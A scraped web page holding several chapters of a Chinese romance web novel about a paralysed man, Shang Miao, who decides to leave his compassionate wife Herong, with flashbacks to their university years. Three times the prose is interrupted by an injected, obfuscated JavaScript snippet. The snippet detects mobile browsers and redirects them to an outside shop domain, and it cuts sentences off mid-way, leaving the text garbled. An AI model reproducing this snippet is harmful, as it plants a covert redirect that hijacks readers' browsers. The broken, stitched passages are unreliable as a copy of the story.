《时光倒流的书店》 1. 第九页:离别式 《时光倒流的书店》 三和小渣/著,2026年晋江独发 ----------------------- 故事一:「礼物」 鹤蓉 VS 商渺 | 高位 | 酸涩(只酸男主)| 破镜重圆 * 「长街西侧老墙的腰线处, 斑斑驳驳地露出里头的青砖, 砖缝里藏门铃, 苔藓织出门牌号, 有缘人来叩。 斟茶一杯,侧耳倾听, 杯中水生着倒转的细纹, 故事它向前翻。 」 …… * 今天是鹤蓉二十八岁的生日。 “商先生,扎花让我来吧。”陈管家候在一旁,担忧商渺的那笨拙动作。 “我来吧,我闲着也是闲着。” 商渺淡笑:“我就是慢了点。” 他言谈举止总给人亲切宽和的印象。 白净面孔,斯文气质,眉入鬓角,眉型修得不锐利,也不过分柔和。 “商先生,您当心手,别让花上的刺给扎着了。”陈管家把花枝往商渺手边推了推,瞧他够得费劲,“您扎着了,太太啊,可要心疼了。” 心疼。 商渺闻言,手中微顿。 鹤蓉确实会心疼他,清丽五官皱起来,她难得有的情绪起伏,捧着他的手,怪他不爱护身体。 虽说是怪,可她语气温和淡然。 静水不知深浅。 鹤蓉就像一潭静水。 她会急会忧,会快乐会苦恼,旁人情绪如海潮,那她就是涟漪。 总是温淡的。 他的爱经年累月投掷下去,而她是填不满的静水,他无望地望不到底。 “陈叔。”商渺温声唤。 他仰头看着陈管家,他讲究礼节,对话时候,尽量直视对方的眼睛,唇不笑亦扬:“麻烦拿来一副手套吧。蓉蓉过生日,我要见血了,不像话。” 陈管家拿来一副手套,橡胶材质,贴肤款,手套太松活了,妨碍干活。 可戴手套是项大工程。 “麻烦你了,陈叔。” 商渺脖颈发力,原本抵着桌子边沿的胸膛,被这力道扔回了轮椅靠背,他提肩,努力抬起五指蜷缩的手,自嘲:“看来,要花点时间了。” 抻开他缩在掌心的手指,皮肤病态的白,一双手久废用,手指萎缩了,细细长长,仿佛一折就断。 陈叔抖抖手套的功夫,没托着这瘫手,消瘦手腕就垂了下来,夸张的九十度角。 好一番拉拉拽拽,手套终于戴上。 有层保护,商渺也不怕被花刺扎,或被剌了。 他耸肩,靠这力道将手臂甩上桌面。 手肘撑着,脖子向前卯,带动这瘫.废的身子向前倾,再次让胸抵上了桌沿,做支撑,稳他不倒。 手去拿花枝,说是拿,其实是扒拉,手指没有任何抓握能力,仅靠手腕去控制,他蹭着桌面扒拉到面前,拇指试着插入枝干和桌面之间的空隙。 反复几次,成功。 依靠手指的肌张力,勉强“拿”起了花。 鹤蓉喜欢鹤望兰。 形如展翅的鹤,花开时,犹如仙鹤翘首远望。 花语是自由自在。 商渺手一抖,花枝在即将落入花瓶口之时,潇洒脱离他掌心,掉在桌上。 他握不住花。 也握不住她。 常人来插花,很快搞定,商渺忙活了四十分钟,累湿了额头,气喘吁吁。 望着成果,他还算满意。 花,鹤望兰。 是他送鹤蓉的第一个礼物。 * 抬头望一眼挂钟,该拾掇拾掇了,商渺唤来护工,随在他身后。 他虚虚握着轮椅手柄,倒车,从桌下出来,调整方向,开着电动轮椅向卧室驶去。 轮椅停靠在床边,护工抬起他伶仃的脚踝,脱下他的拖鞋,他配合,勉力抬起手臂环住护工的脖子,护工的手托着他的臀,将他挪至床上。 体位变化,商渺久坐的腿,扑簌簌抖起来,火烧火燎的疼痛在体内游走,似电击,又似百虫啃噬。 他咬紧牙关才抑住痛.呼。 瘫腿上上下下地踢踏,袜子都掉了一只。 痉.挛持续了约莫五分钟,他的双腿忽然像被抽干的气球,死沉沉瘪了下去,耷拉在床沿,脚踝软绵绵折起,脚心相对。 裆.湿了一块,深色湿.渍刺眼地漫延。 “商先生,我给您换条裤.子。” 商渺苦涩笑笑:“辛苦你了。” 每次痉.挛,都酿出这狼狈现场,轻则小.便失.禁,水.漫金山,重则二.便尽失,不堪入目。 护工脱去商渺的居家裤,扒下饱和纸.尿.裤,给他摆侧位姿势,检查他的皮肤状态。 闷得有点久,他苍白皮肤泛着不健康的红,护工搓热手,不轻不重按摩那泛红处,促进血液循环,帮助皮肤减压。 等肤色正常了,护工扶着他的肩,将他翻过来,摆平他的四肢,呈现平躺。 “商先生,我给您排一下余.尿。” 摁压他的下.腹.部,他一阵激灵,瘫腿不可控地一下子蜷起来,又猛地脱力,重重砸在床上。 神经受损,他感知异常,护工没使多大的力,可他体感膀.胱压着块巨石,甚至是锥型巨石,锥尖顶着他,势要凿穿了他。 “呃……” 商渺一双清眸翻出了软.白,气喘不接。 喉结频频翻滚,吞下难耐的疼。 他尿.储.留严重,不排尽余.尿有感染的风险,万一尿.路发炎…… 神思虚浮飘渺,那刻,医院、疼痛、难堪,全不在脑中,他只想到—— 鹤蓉不用陪他住院。 他不绊住她的脚步,她想飞多远就飞多远,随时动身出发。 保护身体,照顾好自己。 ——他送鹤蓉的第二个礼物。 “给我……插……管吧。”商渺说得断断续续。 今晚有派对,鹤蓉的生日派对。 他们邀请了一众好友来参加,别墅后院开阔,架炉烤肉,篝火舞蹈,场地很宽裕。 商渺不好面子,但在人前堂皇皇失禁也不合适,保险起见,还是插.尿.管吧。 护工做准备:“好的,商先生。” 插管结束,商渺视线虚无地躺着喘气,待呼气均匀了,护工扶着他的肩,缓慢将他扶坐起来,清空了膀胱,血压降了,他有些低血压。 眼前一片黑,脖颈无力地向前耷拉,口不自主地半张开,蓄满了口津,凝成柱状,顺着下巴淌下来。 护工给他擦擦脸,清理干净。 “我好了。”商渺虚弱地笑笑,努力直起脖子,“麻烦抱我回轮椅吧。” 他锁骨以下的肢体废.用,万事需要人来帮助。 他生性温雅,即便废了,也在力所能及范围之内,尽量减轻护工的工作量。 商渺鼓劲儿,把双臂甩到身前,鸡爪状的瘫手,躺在隆起的小腹上,腹间软肉抖了抖。 手垂着,在移动时容易受伤,护工搬运他时,必须把他的胳膊安置好了。 他不麻烦他们。 这个他自己来。 护工一个托着他的腋下,将他抱起,一个抬他的腿,再一个拎起尿.袋,别扯到商渺的敏.感地。 三人合力抱他回到了高背电动轮椅。 他的脚掉在踏板外面,护工握着他伶仃脚踝,穿上棉拖鞋,再摆回踏板。 两只瘫脚不受控地呈内八字。 骨瘦的膝盖并贴在一起,腿也萎缩了。 商渺操控轮椅的手柄,驾驶轮椅驶向客厅。 拐弯处,他速度稍快,身子惯性地晃了晃,两条细瘦的腿齐刷刷歪向一边。 他毫无知觉,仍专心前行。 自大学相识,如今已经十年了。 鹤蓉每年的生日礼物,商渺都钻孔了心思地准备。 物比三件,思来想去,每年都想给她最好的。 他今年给她的送礼是一块运动手表,防水防潮,防旱防冷,她哪怕去北极也照用无误,自带移动网络,定位功能极其精准,她迷路也不怕别人找不到她。 还有一个保温杯,提醒她记得多喝热水。 手表和水杯。 是商渺送鹤蓉的第三件礼物。 他抬着瘫手,精雕细琢插的那束花,求尽善尽美,他自瘫痪后,体力差得很,抬十秒钟,歇十秒钟,还得一只手动,另一手在下面托着。 眸子探一眼挂钟,他累得直喘,笑了笑。 她快回来了。 * 约莫下午五点,鹤蓉回了家。 清婉面容染着些初秋的凉气,今日一直在户外,她小巧鼻尖泛微红,低首换拖鞋。 眼睫垂着,天生长睫,长得有距离感。 不笑时候,更显得气质温淡。 “阿渺?”鹤蓉唤,音色也生来清清淡淡。 电动轮椅的机械声由远及近,听起来时速不低。 鹤蓉往前迎了几步,玄关口,商渺的双腿,先从墙那边,转进她的视线。 而后,清隽的男人全须全尾出现。 “回来了。”商渺眉眼涓笑意。 鹤蓉走上前,在他轮椅前蹲下,将他歪斜的双腿摆直摆正,熨平他裤子上的褶皱:“怎么这样坐姿?这样坐久了,容易脊柱侧弯。到时候动手术,多疼。” 她并非责备,语气是一种不喜不悲的关怀。 “刚在忙,忘了检查一下。”商渺伸手,抚摸鹤蓉额鬓的碎发,想替她挽于耳后。 奈何手指蜷在掌心里,他尝试,她的发丝卷进他的指缝,越帮越乱。 手的功能废用了,触觉仍在,他感觉到她脸颊冰凉,问:“今天在户外工作吗?” “嗯。”鹤蓉握住商渺的手,拢在手中,“天渐冷了,流浪猫狗到处都是。有些怕生,有些有敌意,所以我们队的人就从早忙到晚了。” 鹤蓉是环境研究与动物保护的研究者,近期在收容和安置流浪动物。 “苦差事,但很行善积德。”商渺温声。 沉眸望着被爱人握着的手,想回握,他意念控制手指去动,无济于事。 他默默叹气,不想影响鹤蓉的心情,他一切情绪藏得滴水不漏,面上仍在微笑:“生日快乐,小寿星。” 鹤蓉淡淡的表情这才露出笑意:“你把我叫小了,小寿星?我都二十八了,你还把我当小孩呢。” “总之生日快乐。”商渺尽是温柔。 或许因为太爱了,才总把她当孩子。 “阿渺,尿.袋快满了,我给你清一下。” 鹤蓉推轮椅带着商渺去洗手间,放空尿.袋,淅沥沥水声伴和难闻的骚.腥,她不觉脏,夸他:“今天很棒,有认真喝很多水。” “你还说我把你当小孩。”商渺失笑,不过就他这废躯,怕是都比不上孩童三分,鹤蓉拧上尿.袋开关,他催她去洗手,驾驶轮椅跟在她身侧。 “等会儿套上套子吧。”商渺道。 他经商,出席正式场合乃家常便饭。 他外出离不开尿.管,尿.袋明晃晃曝光,于情于面都失礼,鹤蓉便给他买了黑色“遮羞袋”,尿.袋藏进去,尿管她也想了办法,缝制了活扣的黑布条,套在尿.管上。 尽最大可能保留他的体面。 鹤蓉关上水龙头:“好。” 打理妥当,鹤蓉送商渺去客厅休息,她请假一小时提早回来,为把关派对餐食,看看有没有误处。 她有朋友对乳制品过敏,她叮嘱阿姨专门做道菜给那朋友,不知阿姨忘了没。 “阿渺,我去厨房看看。” 鹤蓉轻抚商渺的肩头,转身向厨房走去。 他近乎像在拍照似的看她的背影。 * 生日派对很顺利。 商渺多请来的是从商人士。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357668|199693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹤蓉搞学术,她有着和她气质相悖的社交能力,她看似淡人,无欲无求,社交范围却广,朋友遍布天下,各行各业都有。 朋友举香槟邀酒:“来来来,我们大家祝鹤蓉,我们的鹤大美女生日快乐!” 祝福词乱糟糟的,说什么的都有,气氛好不热闹。 “祝福鹤蓉新一岁,工作顺利,心想事成。”看着鹤蓉挨个碰了杯,朋友继续扬声,“也祝,鹤蓉的非洲之行一路顺风,一帆风顺,平平安安!” “诶,蓉蓉。”有人说,“随时给商总报平安哈,那地方不比国内安全,你一去大半年,商总肯定担心死你了。” “就是。”另一友人打趣,“商总可爱惨蓉蓉了,我们大学同学都知道。商总一天不见蓉蓉,就茶不思饭不想。蓉博士,你要不想看见商总等你回来,他瘦成人肉干,就每天和他视视频,通通话。” “让你们见笑了。”商渺仰头望着朋友们。 所有人都比他高出一大截,但他矜贵气儿不凡。 考察项目忙碌,他明白鹤蓉没那么多精力可分散。 顾及了他,她就得省掉自己原本要支配的时间,他不能再成为她的拖累。 于是商渺说:“那都是大学时期的事了。我又不是植物,只有照阳光才能活。” 他眉梢恰到好处地扬了扬,刚刚好的玩笑语气。 众友人欢声笑笑,说行,你们俩好着就行。 * 派对九点就结束了,商渺不能久坐。 瘫痪的肢体长时间受压会产生压疮,皮破,疮烂,他的血液循环很差,小小的破口,耗上一两个月才能愈合。 别墅有三个洗手间。 一个鹤蓉用,一个作为待客来公用,最大的那一间,经过无障碍改造供商渺使用。 门拓宽了,安装了一张洗澡床。 每次清洗,商渺躺上面,让旁人来帮助他洗澡。 护工把商渺抬上洗澡床,鹤蓉让他们出去休息,她挽衣袖,血色的唇咬着头绳,长发高高束起,不妨碍她干活。 她打湿他金松茸一般的发,挤洗发水,在掌心化开,涂上去,轻轻揉搓,给他洗头。 “累不累?”鹤蓉问。 “我不累。”商渺的瞳向上方看,她的脸倒着,尖巧下巴愈是精致如雕刻。 “不累?精气神都没了。”鹤蓉捏捏他耳垂。 泡沫快要逼近他眼睛,他舍不得闭眼,全神凝她。 浴室水汽蒸腾缭绕,模糊了他讳莫的眼神。 她娴熟地抹开那泡沫,用干净的手背蹭了蹭他的眼周。 “阿渺,眼睛有不适感吗?” “我很好。”他沉声。 鹤蓉笑了笑,笑他莫名其妙答得郑重。 “蓉蓉,你们定了几号的航班?”商渺问。 “非洲那边,说28号启动项目,我们队定了18号的机票,提前十天过去,先了解一下当地的状况。”鹤蓉洗得认真,抓一抓商渺的头皮。 他胳膊举不过头顶,若是头皮发痒了,他只能求助于人。 他不喜欢麻烦别人,大多时候,都硬忍着。 “我不跟他们一块儿出发,我延后几天。”鹤蓉继续说,“我25号走。” “为什么?”掀起的眼皮,随之敛下来,遮挡眸底的晦涩,商渺在明知故问。 为什么? 为了多陪他几天。 为了照顾她残废的丈夫,给予多几天的温暖。 鹤蓉有种近乎神性的慈悲。 她待人接物,总温暖友善。 她记得所有朋友的敏源忌口、食物偏好;她乐于助人,不管相熟抑或陌生与否;她的仁爱跨越了物种,她爱动物爱自然,热爱世间一切。 她深仁厚泽。 正如此刻,她体恤地讲善意的谎言。 “我的签证办晚了。”鹤蓉拿起喷头给商渺冲水,一手忙,一手覆盖他眉眼,给他挡水,“我去非洲的护照还没拿到手,晚几天再去。” 护照在她书房的书架上,手续齐全。 商渺昨天无意间看到的。 心口处,经年来填胸的那苦气球,被针戳了个口子,溢出来的气都嗅之苦涩。 他抿紧微抖的唇瓣,不露悲色,眉目被她遮着,他大胆地皱起,也不担心她看到。 “护照可以办加急。”他佯装音色松快。 鹤蓉怔了下,没想到临时想的借口有破法。 瞳色浅淡的眼转了转:“省钱。加急贵好几倍,不划算。” 商渺勾唇:“记得带我给你的卡。去那边吃好点,也切记财不外露,务必保护好自己。” “唠叨。”鹤蓉搁下喷头,刮了下商渺的鼻梁。 他应景地笑着,嘴唇不受控地有些抖。 * 洗漱完毕,俩人来到卧室就寝。 护工将商渺抱上床,没急着扶他躺下,鹤蓉道了声这里有我,你们去歇吧。 她接手商渺,揽他入怀中。 他今天起得早,此刻体力告罄,腰肢躯干皆软绵绵,无支撑力地靠着她。 手臂也累极,抬不起来,反向姿势垂在床上,手背贴床单,手心向天,五指缩在一起发着颤,插了花,肌肉累过头,便引发了手指痉.挛。 “我给你拍拍背再睡。” 沐浴时,鹤蓉见商渺后背斑驳的压红。 肩胛骨和尾椎骨乃重灾区,苍白肌肤,衬得那红仿佛触一下就破出血来。 他埋首在她肩窝:“嗯。” 鹤蓉只当商渺是倦意限制他吝惜话语。 可拍了会儿,他半突兀,又半积蓄起了全部勇气那般深思熟虑地说:“蓉蓉。” “怎么了?” “我们分开吧。” 商渺死命忍住灼痛的泪,泪变成血,从他紧咬到咬破的唇丝丝渗出。 不可以再拖累你了。 你不爱我,不是吗? 分开。 ——是他送她的,最隆重的那份生日礼。 2. 第九页:相识于 “阿渺?”鹤蓉怀疑自己误听。 她扶着商渺的肩膀,将他向后拉,暴露他的面容于眼前:“你说的分开,是什么意思?” 长睫低垂,掩饰意味地遮着眼底,劳累一天,没怎么休息,商渺面色浮白,眼尾那红色本是若隐若现,可这白衬红,衬得红肉眼可见。 “就是分开。”他牵扯唇角,作出轻松的笑。 “可我感觉,你说的,并不是我去非洲,你和我分开大半年?” “那算暂别,不算分开……” 鹤蓉终于确定了她所猜想的,商渺低首垂眸,不和她对视,她便低了脖子,小脸探在他眼下,自下而上地注视他:“你是说,我们分手吗?” 他默认。 “阿渺,为什么这么说?” 自知面貌难看,落水狗的悲惨样子,商渺不想再让鹤蓉为他动容。 他抬头,强扯出笑容:“蓉蓉,你快博士毕业了,我希望你做你最爱的事,在你引以为豪的事业上有一番成就。” “我希望,你心无旁骛,随时去你想去的地方,随时说走就走,和一帮志同道合的人,一起没有后顾之忧地做研究。” “我不想,做绊着你脚的人。” 鹤蓉不明白:“可是我现在也可以。” “不一样。”眼前水汽凝结成快要模糊她的雾,他眨眼睛,不敢慢,怕泪不散,不敢快,怕泪落下来。 他吃力地抬起手,手背蹭了蹭她柔软面颊:“若是一样,你就自自在在和你的队员一起出发了。” “以后,这样的项目还有很多,这个世界还有许多的地方和人,都需要你。” 他不可以再霸占她。 神女爱世人,平等惠泽万物。 况且,他们在一起,本自一开始,就是她对他满怀悲悯的补偿与赠予。 够了。 就,就此停下吧。 “阿渺,你真的这样想吗?”鹤蓉微蹙眉头。 “嗯,我不骗你。” “你觉得分开,对我们彼此最好?” 商渺不含糊:“蓉蓉,你无忧无虑去追求你的梦想,我也少些心理负担,不再觉得我是你最大的拖累。我真的认为,分开是我们的最佳选择。” 两厢无言,静得可闻香薰蜡烛燃烧的挲摩声。 鹤蓉从不强求什么。 喜他人之喜,悲他人之悲,顺他人之意。 她向来如此。 缘分终止,她也遂商渺的意愿,清亮眼睛眨了眨,平和地说:“好。阿渺,我知道了。” 商渺笑笑:“嗯。” “那我……”鹤蓉征求,“我今晚还睡在这里吗?如果你感到不自在,我搬去客房睡。” 也就她能在此情此景提这样的问题。 商渺噗笑,眼睛弯起,眼尾的泪珠沾上上下眼皮,昏暖灯光下亮晶晶,他甩起胳膊,把脸往衣袖上抹,借机揩拭泪水:“那麻烦蓉蓉去客房睡吧。” 行程已近,愿她养精蓄锐。 夜里护工来给他翻身排尿,就能不惊扰她休息。 他也没自信…… 能整晚都忍住不哭。 * 商渺和鹤蓉相识于大学。 他大她两级,是她的学哥。 他念金融,她学环境科学。 缘分始于一场学术演讲,以绿色金融为主题,主讲教授倡导全民使用清洁能源、搭乘绿色交通,为支持环境改善、应对气候变化做出贡献。 商渺和兄弟几个坐后排。 会场人进人出,夏日蝉鸣从门缝中扇进来,连带着热气,催人打盹。 一兄弟昏昏欲倒,脑袋摇摇晃晃,枕上商渺的肩。 商渺用肩膀给兄弟开卡丁车,抖上抖下,愣是抖不醒,兄弟被抖得张开嘴,口水摇摇欲滴。 他欲去推,头一转—— 少女坐在同一排最边上。 她样貌清秀,眉如远山含黛,微微蹙着,自带三分疏离;生来便纤长的眼睫一眨不眨,睫毛长,长到阴影覆在颧骨处;皮肤白得神圣。 像早春未化的薄冰。 清清白白,清绝干净。 商渺绝非玩咖,他不关注校园中的异性。 他第一次留意某个女生。 陷了进去。 商渺晃醒兄弟:“你见过那个女生吗?” “你说谁啊?啊呜——”哈欠连天,兄弟说话时候嘴巴还撑得浑圆,迷迷瞪瞪循着商渺的示意瞥,眼睛一瞬贼亮,“见过!害,谁没见过!” “嘘,小点声。”商渺羞赧,不敢再往那边看。 “商哥,那是鹤蓉,大一新生,环科系的,她呀,在学校里老有名了。” “有名?”商渺爆棚好奇,“怎么讲?” “漂亮啊,优秀啊。”兄弟掩嘴在商渺耳边说,“听说,她是她们省的高考状元,美女学霸一枚。她家庭条件也很好,他爸是科学家,她妈——” 兄弟下巴往讲台一指:“喏,她妈是咱大学的教授,就讲台上那许教授。” 相当优秀的女孩子。 商渺不禁偷偷投去欣赏目光,快去快回,仅急匆匆一眼,不敢放肆。 “但是商哥,以上这些啊,都不是鹤蓉有名的最大原因。” 商渺惊讶:“愿闻其详。” “认识她的人,都说她是神女。”兄弟知无不言,“诶诶,我不搞怪力乱神那一套,咱不搞那些虚的。就,大家都评价,鹤蓉她特别……” “特别什么?”商渺一贯稳重沉敛,此刻却像个二愣子忙不迭追问。 “特别……”兄弟措辞,“神。我这可不是贬义哈,大家都说鹤蓉有神性。” “她温柔,体贴,细心,从容,爱助人为乐,帮扶弱小。学校后门那边的流浪猫狗都是她在喂,在照顾。女生宿舍有位宿管阿姨的孩子,貌似智力有点子问题,需要带在身边随时照顾,那阿姨忙了,鹤蓉就接受帮忙照看一下,还给那孩子换过纸尿裤。反正就特好一人,好得神奇!你有什么事,找她,她百分百乐意搭把手。她看起来有距离感,但实际相反,所以,你懂的,这反差感谁能受得了啊哈哈。” 后半程兄弟的哈哈呼呼,商渺几乎不入耳了。 他不自知地,炽热眼神落在光里。 少女在光中央。 她薄而淡的唇抿得紧,隐有紧张之意,左手攥右手五指,指尖泛出润色的白。 待台上的许教授顺利谢幕,她深长地舒了口气,原来,是为母亲的讲座而提了颗心。 全场响起掌声,她鼓得最为卖力,发自肺腑的骄傲与愉悦浮上她脸庞,小脸染了绯色。 商渺忘记移眼。 许是觉察痴忱目光,太热太烫,鹤蓉转头望来,淡然表情又夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他做尽了能想到的所有体恤事。 而鹤蓉如老僧坐定。 “谢谢你喜欢我,商渺哥,但是,对不起。” 拒绝的话像针尖,刺破皮肉在他心房穿刺,织出厚厚的茧。 很长一段时间,商渺如同活在巨大的蒸笼里,烫手的高温存在体内,只有他自己知道,沸腾得轰轰烈烈,而她不掀开他,煮他到他爆掉。 直到某次。 公开课,下课,一男生冲去塞了鹤蓉一封信,扭头跑开,不给退回的余地。 上课的学生陆陆续续离开,阶梯教室寥寥可数几人,鹤蓉和朋友们道别,说在这里温习一下功课。 商渺没离开,他坐在她斜后排。 他看着鹤蓉拆开信,她特意用胳膊做挡板,避人耳目,她认认真真,一字不落地阅完。 隐晦地,她叹口气,将信封收进包里。 他那角度,正好看清她侧脸。 他读她神情,她澄莹黑眸暗了瞬,略显放空,是被纠缠而脱不开的深刻无奈。 商渺如遭雷击。 那男生他眼熟,和他一样,也是鹤蓉众多追求者中锲而不舍的一位痴情人。 或许…… 商渺终于恍然。 他的喜欢于她而言是负担。 她一视同仁,仰慕她者皆平等,平等地感谢,平等地拒绝,平等地,让她苦恼头疼。 神女包容万物,却不为谁真正停留。 商渺停下了。 所有示爱行为休止。 他的爱却没有。 3. 第九页:忆往昔 “商哥,怎么最近不见你有行动了?”兄弟揽着商渺的肩,一场篮球赛刚结束,两人一个赛一个汗臭湿漉,兄弟大咧咧,揪起跨栏背心用衣角抹脸,问,“你放弃了?” 商渺喝水的手顿了下。 话里的宾语没有指名点姓,但谁都知道,说的是谁。 “嗯。”商渺不卑不亢,“不纠缠了。” “切——”兄弟一胯顶上来,嬉皮笑脸,“我不信你能放弃。咱谁不知,谁不晓你喜欢鹤蓉啊。喜欢得要死要活,见她一面你能高兴一整天。” “之前,是我对于喜欢的理解太肤浅。”商渺拿起运动毛巾,擦汗模样不粗鲁,犹显贵气。 见兄弟听得云里雾里,商渺浅笑如春阳:“喜欢一个人,做不到让她自在快乐,那么至少,不该让她感到为难。” “对她的喜欢,若不能让她的心情添彩,那至少不该是束缚,或者是绑架。” “太深奥了。”兄弟咂摸,“但真男人不轻言放弃!” 许多事,坚持反而比放弃容易。 “真男人不轻言放弃。”商渺释然补上,“但前提是,不能一味的利己。” 榕树分立步道两侧,树影郁郁葱葱,他像是自带了雷达,目光投向不远处。 望见了怀抱课本匆匆赶课的鹤蓉。 换作前些日子,他必殷殷跑上去,申请接过她怀中的书,帮她减负,拿去教室,再帮她买瓶常温水,问她,等会儿午饭要不要一块儿吃,他请客。 鹤蓉朝篮球场随意一瞥。 四目遥望。 她惯是一汪纤尘不染的清泉水,眼神清和,毫无芥蒂。 他避开了脸。 砰,矿泉水瓶被他无意识地捏扁了,人在慌张时候总难免手忙脚乱,余量的水溢出瓶口,溅湿衣裤,兄弟递来干毛巾,他道声谢接过,看似若无其事地擦。 商渺暗笑自己反应过度。 他反省此前的自己,真是没分寸的讨厌。 她的眼神,看他只当在看任何人,他不再献殷勤是对的,追求者名单少他一个,她则少一分心塞。 爱,不一定是靠近。 * 那之后,商渺面对鹤蓉时,努力维系分寸,不远不近,恰到好处的态度举止。 商渺毕业那天,鹤蓉来参加他的毕业礼。 两人间的身份太多,学哥与学妹,追求者与被追求者,一同竞赛的队友,一起拿奖学金的优秀学生,一起投身公益的伙伴…… 他问她,今天以什么身份来祝贺他毕业,她薄唇抿着,犹豫哪个回答能让喜日锦上添花,她细腻温厚,希望她的答案,能让他拥有更好的心情。 商渺却抢先说:“朋友。” “朋友?”鹤蓉仰脸庞看商渺,温色无暇。 “嗯,朋友。” 学术服宽大,商渺宽肩窄腰,撑平了肩线,领口露出的白衬衫洁净得发亮。 他生得好看,不张扬的好看,眉骨高而温和,深褐色的眼睛看她很专注:“鹤蓉,我必须跟你说一声抱歉。” “非常抱歉,我那个时候,不加节制地喜欢你。”他尴尬地扶眉苦笑,“我为我的某些行为对你产生了不良影响而感到十分的惭愧和抱歉。” “怎么讲得这么官方?” 鹤蓉捂嘴笑,弯翘唇角从纤细手指中泄出来。 商渺见她心绪明媚,斗胆让负罪感减了些。 他总忍不住跟着她笑:“鹤蓉,如果你不介意,如果你愿意,我们可以做朋友吗?” “有事,想到对方,没事……”他徐徐展平了唇,她回答的未知让他笼罩不安的不确定,他咬下唇,声音轻得像枝头抖落叶,“也偶尔聊聊的那种朋友。” “我不打扰你,真的。” 他好怕她的回答一如往常,“谢谢你,但对不起”。 鹤蓉启唇:“好,我不介意。” “没事,你别放在心上……” 商渺的反应完全出自于条件反射。 屡次受拒,他屡次强颜欢笑,强撑得体这样应对过去。 可这次,话音未落,他猛地怔愣,深眸愈渐瞪大,喉结不可置信地频频上下翻滚。 “真……的?”他颤声。 鹤蓉笑开了:“真的,我们做朋友。” * 朋友一做便是三年。 两年又三年,五年里,他的爱渗透在日日夜夜。 鹤蓉报送了研究生,依旧念她喜爱的环境学。 商渺拿着父亲提供的创业基金,投资了数个独角兽企业,他眼光准,嗅觉灵,短短三年,这些企业的市值攀升,不少还荣升成为国家级重点支持项目。 他赚得盆满钵满。 鹤蓉搬去了新校区,在远郊,距离商业圈较远。 有时的周末,她出门采购,买多了东西,难以拎回宿舍,会拜托他送一程。 商渺羞耻于自己卑鄙。 为什么她不每天每时每刻都买一大堆东西?为什么这路途如此短距,经不住跑就抵达了?为什么她不频繁使唤他?她可以凡事都想起他吗?她可以爱钱吗?他好想好想把世界上最好的东西都送她。 ——每每生成如此念头。 他都腹诽:商渺你真不知餍足。 * 日子一天天过,友谊关系不温不火。 某年冬,遇换季流感肆虐,商渺连日忙碌办公,抵抗力下降,被病毒打个措手不及,高烧一烧就是三天,他独身躺在公寓里浑浑噩噩。 他不习惯脆弱外露,自幼的成长环境也缺乏关爱,病成这样,他惯性思维,抗一抗就过去了。 晌午,他半死不活晕着。 电话铃声将他从混沌中拖出来,他接起:“喂……” “商渺哥,我听说你生病了。” 鹤蓉动听的声线落在他耳际。 他忽然打挺,垂死病中惊坐起,病糊涂了,没反应过来那响铃是他为她设置的专属。 电话竟是她打来的。 “咳……我……咳咳……”商渺开口,喉咙好似被人捅了痒痒挠使劲儿地瘙,他咳不止,窘迫地爬起来,晕晕乎乎去厨房灌水润润喉,才勉强能说话,“我……有点感冒……咳咳……我没事的……咳咳……睡两天就……咳……好了。” “可是,我听你的秘书说,你已经病了三天了。”鹤蓉关切,“都三天了,还这样子,那病得非常严重了。商渺哥,你可以给我开门吗?” 耳畔消声,痒意自喉间流窜心底,暖融融的痒,商渺滞愣望向大门方向。 “我在你家门口。”鹤蓉声音像水声,“我很担心你,就想着来看看你。” 他没开门。 虚浮脚步打摆子,扶着墙,晃晃悠悠飘向门口,他边咳嗽边催她离开:“咳咳……我……传染……咳咳咳……鹤蓉……你……你回去吧。” “我叫了救护车。”鹤蓉轻轻敲了敲门,“我担心,你会不会晕倒了,我也猜到你怕传染给我,我就擅作主张请医生出面了。还有,我戴了口罩,N95口罩。” “商渺哥,我们去医院打点滴吧。” 那次,商渺更深地意识到,鹤蓉慈悲心肠。 越弱势,她越乐善好施,越脆弱,她就越温柔普照,她见不得世间疾苦。 有人需要甜,她便给予,无私无求。 * 商渺打了三天点滴,她陪伴三天,送饭递水,无微不至。 鹤蓉煮的粥荤素皆宜,既不腻口,徒添肠胃负担,也不寡淡,商渺总吃不够,碗底刮得一干二净。 她有引人亲近的魔力,很快便和隔壁病房的小孩子混相熟了。 小孩心思单纯,抱着鹤蓉送的大公仔,一笑露出豁豁牙,喜庆得很,脆生生问:“大哥哥,大姐姐,你们结婚了没呀?” 盼着吃糖呢,爸爸妈妈都不给她买。 但她可是个小机灵鬼儿,懂大人结婚,小朋友能得到红包包装着的一袋糖果。 童言无忌,叫正在喝水的商渺闻言呛咳,白俊面庞蒸腾绯色,耳廓也染红。 他掩唇,视线悄然去瞥鹤蓉。 有些不知该如何反应。 他的反应,取决于她的反应。 鹤蓉淡然自持,语调稀松平常,摸着小孩的发顶,浅笑:“哥哥和姐姐没有结婚。” “那你们什么时候结婚呀?” 商渺的心脏几欲破出胸膛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357670|199693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而鹤蓉笑笑不语。 小孩子圆嘟嘟的脸蛋昂着:“哥哥姐姐,你们结婚的时候,能不能请我呀?” 吸溜吸溜地舔嘴唇,馋糖得很,大眼睛亮得像琉璃球。 